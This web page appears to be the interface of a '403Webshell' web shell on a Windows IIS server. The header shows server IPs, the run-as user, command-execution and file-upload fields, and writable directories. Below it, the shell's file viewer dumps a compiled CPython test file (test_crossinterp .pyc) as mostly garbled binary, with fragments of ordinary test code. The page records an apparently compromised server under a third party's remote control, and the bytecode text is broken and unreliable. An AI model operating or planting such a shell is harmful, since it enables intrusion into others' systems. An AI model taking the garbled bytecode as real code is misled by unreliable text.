403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_crossinterp.cpython-315.opt-2.pyc
R
>lqj:�c"��]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH$G
s
\
OQ2s\
OQ2s
]QH4Gs]QHGs]QHGs\O&Q2s\O-2TTt,tFDvq\U\2%fJUMJ	toos\Tt,tFDo\U\2%fJUMJ	tos\\2O-2TTt,tFD!vq1\U\2%fJUQG7fJUMJ#	toos,\N\Ns\ gttoohttohttooh\ c
s!\!s"Ps!?!LPs!?!hh9h\#Q	\$Q
\%Q\&Q\'Q
\(Q-s),Q\)O-22NQ\2Ns*\OV2OXs-,O\s/\0Obs2\32Ohs5\3Ols7\-\Op\/\Or\:OvQ*\Ox\OzO|\O~\OzO�\O�\2\O�\5\O�\7\O�\E\OVOX2P\F\OVOX2P\G\OVOX2P-sH\I\O�\O�\O�,sM\
O�QP29^tt^2]PCH<sPPPP2L)%fhL9h\\\\P,sQ\32sR\ 2sSQsT\RPP	P
\U\V,Q\WPQ22NQMQMPM\O�]*M\O�M\O�']*
M\O�']*
M\WPQ2N]Q*MQMQMQHMQMQIMsY]Q\S1sZ]Q\R1s[]Q\S11s\]Q\R11s]\^Q2s_\^QJ2s`\O�-2sbQKQLQMQN\Z\[QOQPQQ\\\]\_\`,,QRN],QS]]-,-]]]]]]	-]],]QS]]]--\c2\c]]]]]]	-2\c]],]QS]]]-]\c]]-2-2\d2.QTl\e].2QS.\e,2\e\e].2QS.2\fQ2\b\O�2,sh-si\jQ\i\i2\O�2\iQ*\iQ *,sl?i\O�O-2TTt,tFDvqESSMJ	Lttoohtoosn\O�O-2TTt,tFDvqESSMJ	Lttoohtoosp,\nN\pNsq\O�Q!2,ss\Z\[\\\],st\U\V\R\O�]*\O�']*
]Q*,su\29^tt^2\YTt,tFDoS\u7fJSMJ	Lttohtosv,Q"\h2NQ#\h2Nsw\hTt,tFDoS\w7fJSMJ	LttohtosxPPP2L)%fhL9h,\vN\wNsy,\uN\xN\N\HN\*N\MN\QN\lNQ$\O�2NQ%\O�2N\O�N\OVOXM\TM\O�N\O�N\O�N\qN\sNs~,\YNQ&\h2N\N\*N\MN\O�N\OVOXM\O�N\O�N\nN\sN\COM\COM\COM\COM\COM\O�M\-M\/M\2M\5M\7Ms�\s�\�\CO29^tt^2s�\�CO2s�PPP2L)%fhL9h\�\�CO29^tt^2s�\�CO2s�\�COQ'Q(2s�PPP2L)%fhL9hQ)\COQ*\�Q+\COQ*\�Q,0	s�?�?�?�QUQ-ks�\O&Q.2s�\O&Q/2s�\O&Q0P
-Q1k2s�Q2Q3\CO&2s�Q4Q5\�2s�Q6Q7\�2s�Q8Q9\�2s�Q:Q;\�2s�Q<Q=\�2s�Q>Q?\�2s�Q@QA\�2s�QBQC\�2s�QDQE\CO&2s�\�QF6Xc\CO>2P!P!)V�)�support)�
import_helper�_testinternalcapi�
_interpreters)�NotShareableError)�_code_definitions)�_crossinterp_definitionsc#�� �[O29^tt^2[OQ[Q5Pw�PPP2P!)%fhP!9h3h)�ignore)�category)�warnings�catch_warnings�filterwarnings�BytesWarning���*C:\Python315\\Lib\test\test_crossinterp.py�ignore_byteswarningrs5���	�	 �	 �	"�	"�����<�@�
�
#�	"�	"�	"�s"�A!�"A
�
A!�
A	�A	�	A!c��U[,1!�N��CAUGHT��msgs&r�<lambda>r/s
��c�F�8�_rc��U[,1!rrrs&rrr0s
��#��x�rc��PUPPP1!rrrs&rrr1s���c�4��t�<rc��QP]]U1!)�utf-8rrs&rrr2s��g�r�1�a��%=rc��QQ]]U1!)rrrrs&rrr3s��g�s�A�q�#�%>rc��P]]U1!)�rrs&rrr4s���Q��3�rc#�L�SF �DvqUUQ2w�	J	P!3h��error!r)�.0�cls�sigs&  r�	<genexpr>r(7s!��*M���*M�h�c�c�3�x�=���*M�s�$c#�X�SF �DoU[7fJUQ2w�	J	P!3hr#)�EXCEPTIONS_WITH_SPECIAL_SIG)r%r&s& rr(r(8s$�������	�/�	/��c�(�m�m��s�
*�*�fromkeys�emptymodc��P!rrrrrrrbs��$rc#�V�SF �DoUO]QP	Q5w�	J	P!3h���little)�signed��to_bytes�r%�is& rr(r(ls(������!��j�j��H�T�j�*�*����")��hello world�你好世界���皙�����?��?�ȑݚ�?rzt
try:
    raise Exception
except Exception as exc:
    TRACEBACK = exc.__traceback__
    FRAME = TRACEBACK.tb_frame
�FRAME�	TRACEBACKr$c#�\�SF �Do[U2[IfJUw�	J	P!3hr)�type�
memoryview�r%�os& rr(r(�s ��'���'��4��7�j�+@�!�!�'�s�,�,c#�v�SF �D*o[U2[IfJU[7fJ%Uw�	J,	P!3hr)rC�tuple�TUPLES_WITHOUT_EQUALITYrEs& rr(r(�s2��'���'��
�!�W��
��"#�+B�"B��!�'�s�9�9�9c#�D�SF �DpOw�	J	P!3hr��__code__�r%�fs& rr(r(�s��.���.�Q�j�j�.��� c#�D�SF �DpOw�	J	P!3hrrKrMs& rr(r(�s��,���,�Q�j�j�,�rOc#��SF �D2p[[[17f[U2[IfJ-Uw�	J4	P!3hr)�MEMORYVIEW_EMPTY�MEMORYVIEW_NOT_EMPTY�MAPPING_PROXY_EMPTYrC�dictrEs& rr(r(s8��#���#�A����1�(�
�a��D��	�a�#�s�A�A�Azfrom z# from z0
#######################################
# from z

z1

#######################################
# from �
c��Ue[OoL'[U[2%cSoPoLUOo[O
U2o[OUm[[UO2UdJUOO2FD*vq4UOQ2%cJ[VU2J,	U!)N�_)
�DEFS�__name__�
isinstance�strr�
create_module�__file__�exec�	DEFS_TEXT�__dict__�items�
startswith�setattr)�module�modname�defs�name�values&    r�	load_defsrj@s����~��-�-��	�F�C�	 �	 ������/�/���&�&�w�/�D��M�M�D�M���D�M�M�"�
���=�=�.�.�0�K�D����s�#�#���F�%�(�	1�
�Krc#�h �QoU[O7cB[O29^tt^2[OU2w�PPP2P![O
U29^tt^2oUw�PPP2P!)%fhP!9h)%fhP!9h3h��__main__)�sys�modulesr�isolated_modules�
add_module�module_restored)rf�mods  r�using___main__rt`sy����G��c�k�k�!�
�
+�
+�
-�
-��*�*�7�3�3�.�
-��
*�
*�7�
3�
3�s��I�4�
3�.�
-�
-��4�
3�
3�sE�B2�B2�B
�(B2�:B�
B2�
B	�B	�	B2�B/	�'B/	�)	B2c#� �[O29^tt^2[OU2w�PPP2P!)%fhP!9h3hr)rrprq)rfs&r�temp_modulervls5���
�	'�	'�	)�	)��&�&�w�/�/�
*�	)�	)�	)�s!�A�A�
A�A	�A	�	A�prepc#�, �U%c4[OU[29^tt^2Uw�PPP2P![O29^tt^2Uw�PPP2P!)%fhP!9h)%fhP!9h3hr)r�ready_to_importr`rp)rfrws&$r�missing_defs_modulerzts_����
�
*�
*�7�I�
>�
>��M�?�
>��
+�
+�
-�
-��M�.�
-�?�
>�
>��.�
-�
-�sD�	B�#B�A,�'B�B�"
B�,A=	�5A=	�7	B�B	�	B	�	Bc�`�\sQsQsnPsQsQsQsQsQP-Qks	QP-Qks
Q	sQP-Q
ksQPQP-Qks
QPQP-Q
ksQPQP-QksQQP-QkksQsQsUsP!)�_GetXIDataTests�c�8�UOUOUO2UOUOUO2UOUOUO2UOUOUO2P!r)�assertEqualrZrL�__defaults__�__kwdefaults__)�self�func1�func2s&&&r�assert_functions_equal�&_GetXIDataTests.assert_functions_equal�sl��	
���������8����������8�����+�+�U�-?�-?�@�����-�-�u�/C�/C�Drc��UOoUOo[U[2%CcUO[	U2[	U22UO[
U2]2UO[
U2[
U22UOU]*U]*2U]*oU]*oUO[
U2[
U22[VV2FD:vqxUO[	U2[	U22UOVx2J<	P!UOV42P!�r0)	�argsr[�ExceptionGroup�assertIsrCr�len�zip�assert_exc_equal)	r��exc1�exc2�args1�args2�group1�group2�grouped1�grouped2s	&&&      r�assert_exc_args_equal�%_GetXIDataTests.assert_exc_args_equal�s����	�	���	�	���d�N�+�+��M�M�$�u�+�t�E�{�3����S��Z��+����S��Z��U��4����U�1�X�u�Q�x�0��1�X�F��1�X�F����S��[�#�f�+�6�&)�&�&9�"���
�
�d�4�j�$�t�*�5��%�%�h�9�	':�
���U�*rc��UO[U2[U22[U2O[OIcUO	V2UOV2UOd'UO	UOUO2UO	[UQP2[UQP22UOe(UOUOUO2L&UOUOUO2UOe)UOUOUO2P!UOUOUO2P!)N�	__notes__)r�rC�__eq__�objectrr��
__traceback__�getattr�	__cause__r��__context__)r�r�r�s&&&rr�� _GetXIDataTests.assert_exc_equal�s���
�
�d�4�j�$�t�*�-���:���F�M�M�1����T�(��"�"�4�.����)����T�/�/��1C�1C�D�����D�+�t�,��D�+�t�,�	
�
�>�>�!��M�M�$�.�.�$�.�.�9��!�!�$�.�.�$�.�.�A����#��M�M�$�*�*�D�,<�,<�=��!�!�$�"2�"2�D�4D�4D�Erc�h�[U2oUO[OIcUOV2P!U[O
IcUO
V2P![U[2%cUOV2P!U[OIc[U2gU[OIc[U2gU[OIc[U2gUO[16Xc)UOUOUO2P![U2gr)rCr�r�r�types�FunctionTyper�r[�
BaseExceptionr��
MethodType�NotImplementedError�BuiltinMethodType�MethodWrapperType�	__bases__ra)r��obj�expectedr&s&&& r�assert_equal_or_equalish�(_GetXIDataTests.assert_equal_or_equalish�s����8�n���:�:�V�]�]�*����S�+�
�E�&�&�
&��'�'��6�
��-�
0�
0��!�!�#�0�
�E�$�$�
$�%�c�*�*�
�E�+�+�
+�%�c�*�*�
�E�+�+�
+�%�c�*�*�
�]�]�v�i�
'����S�\�\�8�+<�+<�=�%�c�*�*r�modec�P�UOU2o[OV2!r)�
_resolve_moder�get_crossinterp_data�r�r�r�s&&$r�
get_xidata�_GetXIDataTests.get_xidata�s#���!�!�$�'�� �5�5�c�@�@rc�H�UOU2oUOV2!r)r��_get_roundtripr�s&&$r�
get_roundtrip�_GetXIDataTests.get_roundtrip�s#���!�!�$�'���"�"�3�-�-rc�X�[OV2o[OU2!r)rr��restore_crossinterp_data)r�r�r��xids&&& rr��_GetXIDataTests._get_roundtrip�s#���4�4�S�?�� �9�9�#�>�>rc	��UOU2oSFDPoUO[U229^tt^2UOV22oUO	VC2PPP2JR	P!)%fhJg9hr)r��subTest�reprr�r�)r��valuesr�r��gots&&$  r�assert_roundtrip_identical�*_GetXIDataTests.assert_roundtrip_identical�s]���!�!�$�'���C����d�3�i�(�(��)�)�#�4���
�
�c�'�)�(��(�(�(�s�#A,	�,A=
�5A=
�
expecttypec
�t�UOU2oSFD�oUO[U229^tt^2UOVB2oVTIcPPP2JGSO	[U2Ue[U2LS2UO
VT2PPP2J�	P!)%fhJ�9hr)r�r�r�r�r�rCr��r�r�r�r�r�r�s&&$$  r�assert_roundtrip_equal�&_GetXIDataTests.assert_roundtrip_equal�s����!�!�$�'���C����d�3�i�(�(��)�)�#�4���:��)�(��
�
�d�3�i�+5�+=�d�3�i�:�O��-�-�c�7�
)�(��(�(�(�s#�B&	�B&	�B&	�6"B&	�&B7
�/B7
c
�v�UOU2oSFD�oUO[U229^tt^2UOVB2oUO	VT2SO[
U2Ue[
U2LS2UOVT2PPP2J�	P!)%fhJ�9hr)r�r�r�r��assertIsNotr�rCr�r�s&&$$  r�$assert_roundtrip_equal_not_identical�4_GetXIDataTests.assert_roundtrip_equal_not_identical�s����!�!�$�'���C����d�3�i�(�(��)�)�#�4��� � ��*��
�
�d�3�i�+5�+=�d�3�i�:�O��-�-�c�7�)�(��(�(�(���;B'	�7"B'	�'B8
�0B8
c
�v�UOU2oSFD�oUO[U229^tt^2UOVB2oUO	VT2SO[
U2Ue[
U2LS2UOVT2PPP2J�	P!)%fhJ�9hr)r�r�r�r�r�r�rC�assertNotEqualr�s&&$$  r�assert_roundtrip_not_equal�*_GetXIDataTests.assert_roundtrip_not_equal�s����!�!�$�'���C����d�3�i�(�(��)�)�#�4��� � ��*��
�
�d�3�i�+5�+=�d�3�i�:�O��#�#�C�-�)�(��(�(�(�r�c��UOU2oSFD�oUO[U229^tt^2UO[29^tt^2o[
O
VC2PPP2Ud'UOWOOU2PPP2J�	P!)%fhKH9h)%fhJ�9hr)
r�r�r��assertRaisesrrr��assertIsInstance�	exceptionr�)r�r��exctyper�r��cms&&&$  r�assert_not_shareable�$_GetXIDataTests.assert_not_shareable�s����!�!�$�'���C����d�3�i�(�(��&�&�'8�9�9�R�%�:�:�3�E�:��&��)�)�"�,�,�*@�*@�'�J�	)�(��9�9��)�(�(�s5�C	�B/
�/C	�;&C	�/B?�8B?�:C	�C
�C
c�(�Ue
UOoU!r)�MODE)r�r�s&&rr��_GetXIDataTests._resolve_modes���<��9�9�D��rrr)rZ�
__module__�__qualname__�__firstlineno__r�r�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__�__classdictcell__��
__classdict__s@rr|r|s������D�E�+�&F�0+�&A�d�A�.��.�?�(��(�	8�T�	8�d�	8�	8�26�	8�CG�	8�	.�(,�	.�9=�	.�K��K��rr|c� `�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
P
-QksQs
Q
sQsQsQsQsQsQsQsQsQsQsQsQsQsQ
P
-QksQsQsQsQs Q s!Q!s"Q"s#Q#s$Q$s%Q%s&Q&s'Q's(Q(s)Q)s*Q*s+Q+s,Us-P!),�PickleTests��picklec���[29^tt^2[FD4oU[7cUOU,2J"UO	U,2J6	PPP2P!)%fhP!9hr)r�	SHAREABLE�
PICKLEABLEr�r�)r�r�s& r�test_shareable�PickleTests.test_shareablesN��
 �
"�
"� �y���*�$��/�/���6��-�-�s�e�4�	!�#�
"�
"�
"�s�A�*A�A/	�'A/	c�
�[29^tt^2[FD�o[U2[OIcUOU,2J4U[7ccUO[U229^tt^2UOU2oUO[U2[U22PPP2J�UOU,2J�	PPP2P!)%fhJ�9h)%fhP!9hr)r�
NOT_SHAREABLErCr��MappingProxyTyper�r�r�r�r�r�)r�r�r�s&  r�test_not_shareable�PickleTests.test_not_shareables���
 �
"�
"�$�}����9�� 6� 6�6��-�-�s�e�4��J�&����d�3�i�0�0�#�0�0��5���
�
�d�3�i��c��;�	1�0��-�-�s�e�4�%�#�
"�
1�0�0��#�
"�
"�s:�'C1�C1�"C1�=6C
�3 C1�C.�&C.�(	C1�1D	�:D	c�@�UO,,QN],Q]]-,,2P!)��r�r0�r��r��r�s&r�	test_list�PickleTests.test_list(s+���1�1����S�$��A���3
�	rc�N�UO-]]]]]]	-]],]Q]]]--,2P!)r�r�r�r�s&r�	test_dict�PickleTests.test_dict/s>���1�1��
��1�a��A��
���Q��a�!�Q��(�3
�	rc�\�UO[2.Ql[].2Q.,2P!)r��r�r0r�r�)r��set�	frozensetr�s&r�test_set�PickleTests.test_set6s+���1�1��E��
��s�^�T�"�3
�	rc��UOUO2,oUOO2FD-vq4V1O7cJUO	UU2J/	UOU2,oUOO2FD-vq4V1O7cJUO	UU2J/	UO
U2P!r)r��TOP_CLASSESrb�CLASSES_WITHOUT_EQUALITY�appendr�r��r�rg�	instancesr&r�s&&   r�assert_class_defs_same�"PickleTests.assert_class_defs_same?s����'�'��(8�(8�9��	��)�)�/�/�1�I�C��3�3�3�����S�$�Z�(�2�	
�1�1�)�<��	��)�)�/�/�1�I�C��7�7�7�����S�$�Z�(�2�	
�#�#�I�.rc��UOFDoJ	UOUO2,oUOO2FDvq5UOUU2J	UOU2P!r)rr�rbr)r�rgrsr&r	r�s&&&   r�assert_class_defs_other_pickle�*PickleTests.assert_class_defs_other_pickleRsd���#�#�C�#��!�!�$�"2�"2�3��	��)�)�/�/�1�I�C����S�$�Z�(�2��!�!�)�,r�failc���UOFDoJ	,oUOO2FD�vqFUO[U229^tt^2[	V$O
U2UO
U2oUUoUO
U2o	UOVGV�12PPP2J�	SFCDdvqGq�UO[U229^tt^2[V$O
2U%cGUO[29^tt^2[OU2PPP2PPP2J�[OU2o
UOV�2UOV�2S
o[OU	2o
UOV�2UO[!U
2U2VAO"7cUOV�2L3VAO$7cUO'V�2LUOV�2PPP2CJg	P!)%fhCJ9h)%fhCK9h)%fhCJ�9hr)rrbr�r�rdrZr�r�delattrr�rrr�r�r�r�rCr�BUILTIN_SUBCLASSESr)r�rgrsrr&r	r�r��inst�instxidr��gotclss&&&$        r� assert_class_defs_other_unpickle�,PickleTests.assert_class_defs_other_unpickle]s����#�#�C�#��	��)�)�/�/�1�I�C����d�3�i�(�(���\�\�3�/��o�o�c�*���D�z���/�/�$�/��� � ��4�1�3�)�(�2�(1�#�C�d����d�3�i�(�(���\�\�*���*�*�+<�=�=�)�B�B�3�G�>��)�(�(�@�@��E��� � ��*��#�#�C�-���'�@�@��I��� � ��+��
�
�d�3�i��0��7�7�7��'�'��2��3�3�3��$�$�S�/��'�'��2�')�(�(1�)�(�(��>�=�=��)�(�(�s\�AH'	�%I	�I	� H<
�6	I	�	B	I	�!I	�5#I	�'H9
�0H9
�<I
�I
�	I	�I"
�I"
c���UOUO2,oUOO2FDvq4UOUU2J	UOU2P!r)r�rrbrrs&&   r�assert_class_defs_not_shareable�+PickleTests.assert_class_defs_not_shareable�sV���!�!�$�"2�"2�3��	��)�)�/�/�1�I�C����S�$�Z�(�2��!�!�)�,rc�2�UO[2P!r)r
rgr�s&r�test_user_class_normal�"PickleTests.test_user_class_normal�s���#�#�D�)rc��[29^tt^2o[U2oUOU2PPP2P!)%fhP!9hr)rtrjr
�r�rsrgs&  r�test_user_class_in___main__�'PickleTests.test_user_class_in___main__�s3��
�
�
���S�>�D��'�'��-��
�
�
���;�A	�A	c��[29^tt^2o[Q2oUOUmUOU2PPP2P!)%fhP!9hrl�rtrjr^rrs&  r�-test_user_class_not_in___main___with_filename�9PickleTests.test_user_class_not_in___main___with_filename�s?��
�
�
���Z�(�D��=�=�C�L��0�0��6�	�
�
�
���.A�A	�A	c��[29^tt^2o[Q2oPUmPUmUOU2PPP2P!)%fhP!9hrlr$rs&  r�0test_user_class_not_in___main___without_filename�<PickleTests.test_user_class_not_in___main___without_filename�sB��
�
�
���Z�(�D� �D�M��C�L��0�0��6�	�
�
�
���+A	�	A	�A	c��[29^tt^2o[Q2oUOUmUOV!2PPP2P!)%fhP!9hrl�rtrjr^rrs&  r�6test_user_class_not_in___main___unpickle_with_filename�BPickleTests.test_user_class_not_in___main___unpickle_with_filename�s?��
�
�
���Z�(�D��=�=�C�L��1�1�$�<�	�
�
�
�r'c��[29^tt^2o[Q2oPUmPUmUOV!P	Q5PPP2P!)%fhP!9h�rm)rr-rs&  r�9test_user_class_not_in___main___unpickle_without_filename�EPickleTests.test_user_class_not_in___main___unpickle_without_filename�sG��
�
�
���Z�(�D� �D�M��C�L��1�1�$�$�1�G�	�
�
�
���-A�A	�A	c��[Q29^tt^2o[U2oUOU2PPP2P!)%fhP!9h��__spam__)rvrjr
rs&  r�test_user_class_in_module�%PickleTests.test_user_class_in_module�s5��
��
$�
$���S�>�D��'�'��-�%�
$�
$�
$���<�A
	�A
	c��[Q29^tt^2o[UO2oUOU2PPP2P!)%fhP!9hr6)rvrjrZrrs&  r�+test_user_class_not_in_module_with_filename�7PickleTests.test_user_class_not_in_module_with_filename�s<��
��
$�
$���S�\�\�*�D�
�0�0��6�	%�
$�
$�
$���'A�A	�A	c���[Q29^tt^2o[UO2oPUmUO	U2PPP2P!)%fhP!9hr6)rvrjrZr^rrs&  r�.test_user_class_not_in_module_without_filename�:PickleTests.test_user_class_not_in_module_without_filename�sA��
��
$�
$���S�\�\�*�D� �D�M��0�0��6�%�
$�
$�
$���.A
�
A	�A	c��[QP	Q59^tt^2o[U2oUOU2PPP2P!)%fhP!9h�r7)rw�rzrjr�r�rfrgs&  r�,test_user_class_module_missing_then_imported�8PickleTests.test_user_class_module_missing_then_imported�s8��
 ��$�
7�
7�7��W�%�D��0�0��6�8�
7�
7�
7���>�A	�A	c��[Q29^tt^2o[U2oUOU2PPP2P!)%fhP!9hr6rErFs&  r�,test_user_class_module_missing_not_available�8PickleTests.test_user_class_module_missing_not_available�s6��
 ��
,�
,���W�%�D��0�0��6�-�
,�
,�
,�r:c���[O2oUO[29^tt^2UO	U2PPP2P!)%fhP!9hr)rg�
EggsNestedr�rr�)r��eggss& r�test_nested_class�PickleTests.test_nested_class�s=����� ��
�
�
�0�
1�
1����t�$�2�
1�
1�
1�s�A�A!	�A!	c�>�UOUO2P!r)r��
TOP_FUNCTIONS�r�rgs&&r�assert_func_defs_same�!PickleTests.assert_func_defs_same�s���'�'��(:�(:�;rc�f�UOFDoJ	UOUO2P!r)rSr�)r�rgrs�funcs&&& r�assert_func_defs_other_pickle�)PickleTests.assert_func_defs_other_pickle�s$���&�&�D�&��!�!�$�"4�"4�5rc��UOFDoJ	,oUOFD^oUOU29^tt^2[V$OU2UO	U2oUOVF12PPP2J`	SFD�vqFUOU29^tt^2[
V$O2U%cGUO[29^tt^2[OU2PPP2PPP2J�[OU2oUOVt2UOVt2PPP2J�	P!)%fhCJ>9h)%fhKu9h)%fhCJ9hr)
rSr�rdrZr�rrr�rrr�r�r�)r�rgrsrrX�capturedr�r�s&&&$    r�assert_func_defs_other_unpickle�+PickleTests.assert_func_defs_other_unpickle�s���&�&�D�&����&�&�D����d�#�#���]�]�D�1��o�o�d�+�������%�$�#�'�"�I�D����d�#�#���]�]�+���*�*�+<�=�=�)�B�B�3�G�>��$�#�(�@�@��E��� � ��+��#�#�C�.�$�#�"�
$�#�#��>�=��$�#�#�sN�:E	�(E9	�E9	�#E&
�9	E9	�7E9	�E#
�E#
�&E6�/E6�1E9	�9F
�F
c�>�UOUO2P!r)r�rSrTs&&r�assert_func_defs_not_shareable�*PickleTests.assert_func_defs_not_shareable�s���!�!�$�"4�"4�5rc�p�UO[O2UO[2P!r)r�rgrSrUr�s&r�test_user_function_normal�%PickleTests.test_user_function_normal�s$���#�#�D�$6�$6�7��"�"�4�(rc��[29^tt^2o[U2oUOU2PPP2P!)%fhP!9hr)rtrjrUrs&  r�test_user_func_in___main__�&PickleTests.test_user_func_in___main__�s3��
�
�
���S�>�D��&�&�t�,��
�
�
�r"c��[29^tt^2o[Q2oUOUmUOU2PPP2P!)%fhP!9hrl�rtrjr^r`rs&  r�,test_user_func_not_in___main___with_filename�8PickleTests.test_user_func_not_in___main___with_filenames?��
�
�
���Z�(�D��=�=�C�L��/�/��5�	�
�
�
�r'c��[29^tt^2o[Q2oPUmPUmUOU2PPP2P!)%fhP!9hrlrirs&  r�/test_user_func_not_in___main___without_filename�;PickleTests.test_user_func_not_in___main___without_filenamesB��
�
�
���Z�(�D� �D�M��C�L��/�/��5�	�
�
�
�r+c��[29^tt^2o[Q2oUOUmUOV!2PPP2P!)%fhP!9hrl�rtrjr^r]rs&  r�5test_user_func_not_in___main___unpickle_with_filename�APickleTests.test_user_func_not_in___main___unpickle_with_filenames?��
�
�
���Z�(�D��=�=�C�L��0�0��;�	�
�
�
�r'c��[29^tt^2o[Q2oPUmPUmUOV!P	Q5PPP2P!)%fhP!9hr1rprs&  r�8test_user_func_not_in___main___unpickle_without_filename�DPickleTests.test_user_func_not_in___main___unpickle_without_filenamesG��
�
�
���Z�(�D� �D�M��C�L��0�0���0�F�	�
�
�
�r4c��[Q29^tt^2o[U2oUOU2PPP2P!)%fhP!9hr6)rvrjrUrs&  r�test_user_func_in_module�$PickleTests.test_user_func_in_modules5��
��
$�
$���S�>�D��&�&�t�,�%�
$�
$�
$�r:c��[Q29^tt^2o[UO2oUOU2PPP2P!)%fhP!9hr6)rvrjrZr`rs&  r�*test_user_func_not_in_module_with_filename�6PickleTests.test_user_func_not_in_module_with_filename!s<��
��
$�
$���S�\�\�*�D�
�/�/��5�	%�
$�
$�
$�r>c���[Q29^tt^2o[UO2oPUmUO	U2PPP2P!)%fhP!9hr6)rvrjrZr^r`rs&  r�-test_user_func_not_in_module_without_filename�9PickleTests.test_user_func_not_in_module_without_filename(sA��
��
$�
$���S�\�\�*�D� �D�M��/�/��5�%�
$�
$�
$�rBc��[QP	Q59^tt^2o[U2oUOU2PPP2P!)%fhP!9hrD�rzrjr`rFs&  r�+test_user_func_module_missing_then_imported�7PickleTests.test_user_func_module_missing_then_imported.s8��
 ��$�
7�
7�7��W�%�D��/�/��5�8�
7�
7�
7�rIc��[Q29^tt^2o[U2oUOU2PPP2P!)%fhP!9hr6r�rFs&  r�+test_user_func_module_missing_not_available�7PickleTests.test_user_func_module_missing_not_available4s6��
 ��
,�
,���W�%�D��/�/��5�-�
,�
,�
,�r:c�F�UO[O2P!r)r�rg�NESTED_FUNCTIONSr�s&r�test_nested_function� PickleTests.test_nested_function9s���!�!�$�"7�"7�8rc��UO[OQ2,2UO[OQ]*2,2P!r#)r�rg�MimimalErrorr��	RichErrorr�s&r�test_user_exception_normal�&PickleTests.test_user_exception_normal>sF���#�#����h�'�%
�	�	
�1�1��N�N�8�R�(�3
�	rc�n�Qo[g[c
oSoPo=LPo=hh9h[X,1[X,1[PSPPP1[QP]]S1[
QQ]]S1[P]]S1-o,o[FD5oSOS29%fS1oSOSS2J7	SOS2P!�r$rr)�	Exception�BaseExceptionGroupr��UnicodeError�UnicodeEncodeError�UnicodeDecodeError�UnicodeTranslateError�EXCEPTION_TYPES�getrr��r�r�exc�caught�special�
exceptionsr&r�s&       r�test_builtin_exception�"PickleTests.test_builtin_exceptionFs�����	��O���	��F��	��
��h���S�(�O��4��d�D�$�7���"�a��C� 8���#�q�!�S� 9�!�B��1�c�?�

���
�"�?�C��;�;�s�#�-�-��v�D����c�4�j�)�#�	
�#�#�J�/���	"�"��"r).rZr�r�r�r�r�r�r�r�rr
r
rrrr r%r)r.r2r8r<r@rGrKrPrUrYr]r`rcrfrjrmrqrtrwrzr}r�r�r�r�r�r�r�r�s@rr�r�s������D�5�5����/�&	-�#3�%�#3�J-�*�.�
7�7�=�H�.�
7�7�7�7�
%�<�6�/��/�06�)�-�
6�6�<�G�-�
6�6�6�6�
9�
�0�0rr�c�z`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsQ
sQsQsQsQsUsP!)�MarshalTests�\�marshalc�f�UOP	P
P[,2UO[,2P!�T)r��Ellipsisr��NotImplementedr�s&r�test_simple_builtin_singletons�+MarshalTests.test_simple_builtin_singletons`s9���'�'�����	)
�	�	
�!�!��#
�	rc��UO,[PQ2N[O]*M[OM[O']*
M[O']*
M]Q*MQ
MQMQMQMQMQMQ[PQ22NQMQMQ	MPM2UO	[
[O2,2P!)
r�r8r;r<r=r?c3�V�SF �DoUO]QP	Q5w�	J	P!3hr/r3r5s& rr(�;MarshalTests.test_simple_builtin_objects.<locals>.<genexpr>}s(��%���%�!��j�j��H�T�j�2�2�%�r7�hello worldr9r:y�?@���ȑݚ��)r��rangern�maxsizer��OBJECTr��SimpleNamespacer�s&r�test_simple_builtin_objects�(MarshalTests.test_simple_builtin_objectsks���#�#�%
�
�2�s�^�%
�
�K�K�!�O�%
�
�K�K�	%
�
�[�[�L�1��%
��[�[�L�1��
%
�
�t�G�%
�
�%
�
�%
�
�%
�
�%
�
�%
�
�%
�"'��R��~�'�#%
�&
�'%
�*
�+%
�,
�-%
�.
�/%
�	�2	
�!�!���!�!�#�#
�	rc�\�UO[2[Q2,[Q5P!)r��r�)r��	bytearray�bytesr�s&r�test_bytearray�MarshalTests.test_bytearray�s,���#�#��K��n�%�%
��	$�	rc���UOQQQQ[,QN2,2UOQQQ[[],2[],2[],2,2,2P!)	r�r�r���hello�world�r�Tr�r��r���r�r0�r���r�r�)��)r�rr�s&r�'test_compound_immutable_builtin_objects�4MarshalTests.test_compound_immutable_builtin_objects�sh���#�#������i� �%
�	�	
�#�#���$��y�!��~�y�!��~�y�!��~�F�G�
%
�	rc��UO,,QN-]]]]]]	-[2.Ql,2UO],],],,]QP	-]QP
--Q.,2P!)r��a�br�r�)r�rr�s&r�%test_compound_mutable_builtin_objects�2MarshalTests.test_compound_mutable_builtin_objects�ss���#�#����
��1�a��A���E��
%
�
	�	
�#�#��S�1�#��s�O�
��d��Q��e��-�
�L�%
�	rc�l�[2oUOU1[U,2U,UP	-P	U-U.,2P!r�)r�r�r)r��boguss& r�,test_compound_builtin_objects_with_bad_items�9MarshalTests.test_compound_builtin_objects_with_bad_items�sC������!�!�
�H��u�g��
�G�
�D�M�
�5�M�
�G�
#
�	rc��UO,Q[O2NQ[O2N2P!)c3�D�SF �DpOw�	J	P!3hrrKrMs& rr(�1MarshalTests.test_builtin_code.<locals>.<genexpr>����.���.�Q�j�j�.�rOc3�D�SF �DpOw�	J	P!3hrrKrMs& rr(r�����"4���"4�Q�j�j�"4�rO)r�rg�	FUNCTIONS�
FUNCTION_LIKEr�s&r�test_builtin_code�MarshalTests.test_builtin_code�s9���#�#�%
�
1�$�.�.�
1�%
�
5�$�"4�"4�
5�%
�	rc�`�[,n[oUOU1QkU22UOU1QkU22P!)c3�F:�SF �DoUR7fJUw�	J	P!3hrr�r%r&�	shareables& �rr(�1MarshalTests.test_builtin_type.<locals>.<genexpr>�s������#�%(�	�%9�#&�#����	!�!c3�F:�SF �DoUR7fJUw�	J	P!3hrrr�s& �rr(r��s��u���u��+.�)�+;�),��u�r�)�
StopIteration�
BUILTIN_TYPESr�r�)r�r�r�s& @r�test_builtin_type�MarshalTests.test_builtin_type�sH����
